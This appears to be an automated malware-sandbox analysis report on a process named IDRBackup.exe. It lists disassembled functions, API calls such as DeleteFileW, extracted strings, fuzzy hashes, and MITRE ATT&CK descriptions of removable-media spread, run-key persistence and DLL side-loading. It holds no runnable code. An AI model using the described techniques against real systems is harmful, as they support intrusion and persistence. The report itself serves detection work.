Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$Clr$qqrpv.EnsureLen$qqrx27Length$qqrv.Ref$qqrpv.String$qqrr27T$us$i0$%.T$us$i0$%us.
String ID:
API String ID: 1101282791-0
Opcode ID: 4f0ca0616829db20903720bf720a73c4e4069659c32fd4f5acce4712dbc9648f
Instruction ID: 66ccf3491edd3e1b063387d7f0326b28559df0a375e063810d34d23feeafe5b0
Opcode Fuzzy Hash: 4f0ca0616829db20903720bf720a73c4e4069659c32fd4f5acce4712dbc9648f
Instruction Fuzzy Hash: E0F0A770615188AFA709DFA9DC518ADB7EDEF8C2107D14472B404D3341EA306F009551

Function 5701F748 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 5701F755
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,5701F799), ref: 5701F76B
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,5701F799), ref: 5701F770

Part of subcall function 5701F5B4: @System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,5701F727,00000000,5701F73D), ref: 5701F5DA

@System@@UStrClr$qqrpv.RTL120.BPL(5701F7A0), ref: 5701F793

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Unicode$String.System@$Clr$qqrpv.EnsureLen$qqrx20Length$qqrv.Ref$qqrpv.String$qqrr20
String ID:
API String ID: 3201595775-0
Opcode ID: 51da08ef05c8f5a7ff4bafd4b7bccc4d8936f402e47dd088dcaa1c9219f939b6
Instruction ID: daf472799f43ada8abdad42b0b8a5ed643784017ab4322ec50ace1b028767c24
Opcode Fuzzy Hash: 51da08ef05c8f5a7ff4bafd4b7bccc4d8936f402e47dd088dcaa1c9219f939b6
Instruction Fuzzy Hash: 4CF0A070A16588EFA706DBF5EC5185EB7FDEF882207E14472F404C3662EA306F109591

Function 5701F6EC Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5701F6F9
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701F73D), ref: 5701F711
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701F73D), ref: 5701F716

Part of subcall function 5701F5B4: @System@@LStrSetLength$qqrv.RTL120.BPL(?,?,?,5701F727,00000000,5701F73D), ref: 5701F5DA

@System@@LStrClr$qqrpv.RTL120.BPL(5701F744), ref: 5701F737

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$Clr$qqrpv.EnsureLen$qqrx27Length$qqrv.Ref$qqrpv.String$qqrr27T$us$i0$%.T$us$i0$%us.
String ID:
API String ID: 1101282791-0
Opcode ID: 902c5a7ccb61f647ec43c8545ac1e919bb1b2966a27c67f6a65f57fb8a97e8b5
Instruction ID: 23a79a52905d1afbf4fb96e3b757280ceec8af62e1d6bd26536d408aa3eee5ba
Opcode Fuzzy Hash: 902c5a7ccb61f647ec43c8545ac1e919bb1b2966a27c67f6a65f57fb8a97e8b5
Instruction Fuzzy Hash: 41F0A070A15288AFA709DFA9ECA189EB7EDEF8C2107E14472A404D3341EA306F00A651

Function 5701F994 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5701F9A1
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701F9E5), ref: 5701F9B9
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701F9E5), ref: 5701F9BE

Part of subcall function 5701F7A4: @System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F7DB
Part of subcall function 5701F7A4: @System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F878
Part of subcall function 5701F7A4: @System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F885

@System@@LStrClr$qqrpv.RTL120.BPL(5701F9EC), ref: 5701F9DF

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$Len$qqrx27Length$qqrv.T$us$i0$%.$Clr$qqrpv.EnsureRef$qqrpv.String$qqrr27T$us$i0$%us.
String ID:
API String ID: 3524309386-0
Opcode ID: 71ff6d0b7467b05b06908757511e2163422f05dbc44a1e50881f5265df8a3e16
Instruction ID: 94a3482e07b279ee064528ef342595c20fe6bf55ded1c1874613e1bd2ead6820
Opcode Fuzzy Hash: 71ff6d0b7467b05b06908757511e2163422f05dbc44a1e50881f5265df8a3e16
Instruction Fuzzy Hash: E5F0A070615288AFA709EBA9ED5189EB3ECEF8C2107E14472E404C3352EA31AF009591

Function 570200AC Relevance: 6.0, APIs: 4, Instructions: 29fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,57020114,?,?,00000000), ref: 570200C6
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000,57020114,?,?,00000000), ref: 570200D4
DeleteFileW.KERNEL32(00000000,00000000,57020114,?,?,00000000), ref: 570200DA
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(00000000,57020114,?,?,00000000), ref: 570200EB
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,57020114,?,?,00000000), ref: 570200F3
DeleteFileA.KERNEL32(00000000,00000000,57020114,?,?,00000000), ref: 570200F9
@System@@LStrClr$qqrpv.RTL120.BPL(5702011B,?,?,00000000), ref: 5702010E

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$AnsiDeleteFileStringSystem@System@%Unicode$Char$qqrx20Char$qqrx27Clr$qqrpv.FromStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 620872541-0
Opcode ID: 90fb2184b093ed8708e9ab56c923270994cd1b7776889c6deb00bb959f5e4a4b
Instruction ID: 416823e94970fa04b6a0d2a2f968be472665eadece78baf55b73692134f9b17f
Opcode Fuzzy Hash: 90fb2184b093ed8708e9ab56c923270994cd1b7776889c6deb00bb959f5e4a4b
Instruction Fuzzy Hash: 82E0687221A3C46FF30997B4EC52B4E77DCDB09220FD20872F80AC2683E9389D00A066

Function 57001EAC Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

@System@@BeforeDestruction$qqrp14System@TObjectzc.RTL120.BPL ref: 57001EAE
@System@TObject@Free$qqrv.RTL120.BPL ref: 57001EC3
@System@TObject@$bdtr$qqrv.RTL120.BPL ref: 57001EE0
@System@@ClassDestroy$qqrp14System@TObject.RTL120.BPL ref: 57001EEB

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@$System@@$BeforeClassDestroy$qqrp14Destruction$qqrp14Free$qqrv.Object.Object@Object@$bdtr$qqrv.Objectzc.
String ID:
API String ID: 4094172196-0
Opcode ID: daa0b493a44f3a9449e781294341f1019c0c82fd9c938817c396633f68e0781c
Instruction ID: 108582ad536f9c0668789b631509f758cfdd5758a7aea9795e57a4a51259ad26
Opcode Fuzzy Hash: daa0b493a44f3a9449e781294341f1019c0c82fd9c938817c396633f68e0781c
Instruction Fuzzy Hash: D0E092717119D04FE31057AEA88074D62C5AF441767A0C42AE584C62D2DB78890A96D7

Function 57004B3E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 57004B51
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 57004B7F

Strings

*, xrefs: 57004BAE

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: AnsiChar$qqrx27L120StringSystem@%System@@T$us$i0$%.
String ID: *
API String ID: 1086671489-163128923
Opcode ID: ef13aad789d8b315b716255a80a1bcd591a0720815be198c45b6d8e1aed25f20
Instruction ID: 2b05692ac501231e9190990970b2e2caee3f723a953073750a7d4fd7efaef687
Opcode Fuzzy Hash: ef13aad789d8b315b716255a80a1bcd591a0720815be198c45b6d8e1aed25f20
Instruction Fuzzy Hash: E64130705082D4AFE7819F24C840BE97BE0EB47260F45889AF8D58B253D738D985CB96

Function 570049D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 570049E1
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 57004A0F

Strings

*, xrefs: 57004A3E

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: AnsiChar$qqrx27L120StringSystem@%System@@T$us$i0$%.
String ID: *
API String ID: 1086671489-163128923
Opcode ID: 30eeb8ed51f2393f4da78c342018b6229e8244a007e1bc03eff2d9ccf025008a
Instruction ID: d515354435af9c1f892013dcb8918341f389b0cba0c723b463a8432c573ef14b
Opcode Fuzzy Hash: 30eeb8ed51f2393f4da78c342018b6229e8244a007e1bc03eff2d9ccf025008a
Instruction Fuzzy Hash: AD4192705082C4AFE785DF64C8503D97BE0EB47220F84889AF8D88B253D374DA45CB5A

Function 570046E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL ref: 570046F5
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL ref: 5700471E

Strings

*, xrefs: 570046FC

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Char$qqrx20L120String.System@System@@Unicode
String ID: *
API String ID: 2311393783-163128923
Opcode ID: 3f6fe4d70cdbb5e681e87cec5083563753155891598179137fa7cdb30cbe0a36
Instruction ID: 831ef7a5ea23f58be4f9e18c99f048ae3ed65fcade8e404e5b62f8763529e3eb
Opcode Fuzzy Hash: 3f6fe4d70cdbb5e681e87cec5083563753155891598179137fa7cdb30cbe0a36
Instruction Fuzzy Hash: 7931FC759083D08FF391EB15C8883AA76E09B47730FC5849AF4D887283E3784884835B

Analysis Process: IDRBackup.exePID: 1852, Parent PID: 6620COMMON

Non-executed Functions

Function 5002F51C Relevance: 28.9, Strings: 23, Instructions: 141COMMON

Download Yara Rule

Strings

VarAdd, xrefs: 5002F575
VarOr, xrefs: 5002F60F
VarR4FromStr, xrefs: 5002F667
VarR8FromStr, xrefs: 5002F67D
VarCmp, xrefs: 5002F63B
VarBstrFromBool, xrefs: 5002F701
oleaut32.dll, xrefs: 5002F520
VarMod, xrefs: 5002F5E3
VarDateFromStr, xrefs: 5002F693
VarXor, xrefs: 5002F625
VarCyFromStr, xrefs: 5002F6A9
VarMul, xrefs: 5002F5A1
VarIdiv, xrefs: 5002F5CD
VarBstrFromCy, xrefs: 5002F6D5
VarBoolFromStr, xrefs: 5002F6BF
VarAnd, xrefs: 5002F5F9
VarI4FromStr, xrefs: 5002F651
VarBstrFromDate, xrefs: 5002F6EB
VarDiv, xrefs: 5002F5B7
VariantChangeTypeEx, xrefs: 5002F533
VarNot, xrefs: 5002F55F
VarSub, xrefs: 5002F58B
VarNeg, xrefs: 5002F549

Memory Dump Source

Source File: 0000000A.00000002.2318268652.0000000050001000.00000020.00000001.01000000.00000009.sdmp, Offset: 50000000, based on PE: true

Associated: 0000000A.00000002.2316435306.0000000050000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2318268652.0000000050073000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2330362783.00000000500A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.00000000500C5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.000000005010F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.0000000050113000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_50000000_IDRBackup.jbxd

Yara matches

Similarity

API ID:
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 0-1918263038
Opcode ID: e06b940d9476934792f39afd65196c440aa36b4342473c26250aa0f9965bd5d2
Instruction ID: 68bf6f208d1ebe513e8a8dda1fcfe738442d494e70350c7787d103a1d8736fcd
Opcode Fuzzy Hash: e06b940d9476934792f39afd65196c440aa36b4342473c26250aa0f9965bd5d2
Instruction Fuzzy Hash: 37413B6558B6C74A23146BADF90343777D89AA4E94360833BF808CA282DFB87C408769

Function 50029078 Relevance: 7.7, Strings: 6, Instructions: 212COMMON

Download Yara Rule

Strings

:mm:ss, xrefs: 500292FA
AMPM, xrefs: 500292C0
m/d/yy, xrefs: 5002917E
:mm, xrefs: 500292DF
mmmm d, yyyy, xrefs: 500291A9
AMPM , xrefs: 500292CF

Memory Dump Source

Source File: 0000000A.00000002.2318268652.0000000050001000.00000020.00000001.01000000.00000009.sdmp, Offset: 50000000, based on PE: true

Associated: 0000000A.00000002.2316435306.0000000050000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2318268652.0000000050073000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2330362783.00000000500A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.00000000500C5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.000000005010F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.0000000050113000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_50000000_IDRBackup.jbxd

Yara matches

Similarity

API ID:
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 0-2493093252
Opcode ID: e38855d5172a0542f634131542eef2aff5d6fc61119c00fcf8353ed384aabe6e
Instruction ID: c56b8177db0a57ba453c3af60c07cd0ceb7fdab362b64694d1a226fae421d36e
Opcode Fuzzy Hash: e38855d5172a0542f634131542eef2aff5d6fc61119c00fcf8353ed384aabe6e
Instruction Fuzzy Hash: 047158317022CA9BDF01DBE4F891ADEB3BADF98300F908637B105AB656D635DD058794

Function 50028C8C Relevance: 7.7, Strings: 6, Instructions: 203COMMON

Download Yara Rule

Strings

m/d/yy, xrefs: 50028D9A
:mm:ss, xrefs: 50028F22
AMPM, xrefs: 50028EE6
:mm, xrefs: 50028F05
AMPM , xrefs: 50028EF5
mmmm d, yyyy, xrefs: 50028DC7

Memory Dump Source

Source File: 0000000A.00000002.2318268652.0000000050001000.00000020.00000001.01000000.00000009.sdmp, Offset: 50000000, based on PE: true

Associated: 0000000A.00000002.2316435306.0000000050000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2318268652.0000000050073000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2330362783.00000000500A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.00000000500C5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.000000005010F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.0000000050113000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_50000000_IDRBackup.jbxd

Yara matches

Similarity

API ID:
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 0-2493093252
Opcode ID: 18415697b24f0eb4e9390736694ee9326be4e00cc3b3bbf913a5bf3f7e32825e
Instruction ID: a8aad9425a59888f8c7a4424cecd7dbef86d1a9361a3f9030e8a3f94b0420b5d
Opcode Fuzzy Hash: 18415697b24f0eb4e9390736694ee9326be4e00cc3b3bbf913a5bf3f7e32825e
Instruction Fuzzy Hash: 0E7170346031CA9BEF41EBE4FC916DE737A9F98300F908636F100AB256DB39D94587A4

Function 50003454 Relevance: 5.3, Strings: 4, Instructions: 277COMMON

Download Yara Rule

Strings

, xrefs: 50003762
<JP, xrefs: 50003533
7, xrefs: 500035CC
jP, xrefs: 5000357E

Memory Dump Source

Source File: 0000000A.00000002.2318268652.0000000050001000.00000020.00000001.01000000.00000009.sdmp, Offset: 50000000, based on PE: true

Associated: 0000000A.00000002.2316435306.0000000050000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2318268652.0000000050073000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2330362783.00000000500A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.00000000500C5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.000000005010F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2336281573.0000000050113000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_50000000_IDRBackup.jbxd

Yara matches

Similarity

API ID:
String ID: $7$<JP$jP
API String ID: 0-4104698994
Opcode ID: f3c27ddd7afc70f0f7a8ab52159954547890c4955ca34a5d4dc4da0d5ed2a9bc
Instruction ID: 1bd8d098dfdd9012cd56aed44c4f0c03c4dd7fa1f26bc2d498341ce450a84f99
Opcode Fuzzy Hash: f3c27ddd7afc70f0f7a8ab52159954547890c4955ca34a5d4dc4da0d5ed2a9bc
Instruction Fuzzy Hash: 27B1E430A052D48BFB32DB6CDC90B88B7F8BB49650F9442E6E449DB352CB719D85CB91

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

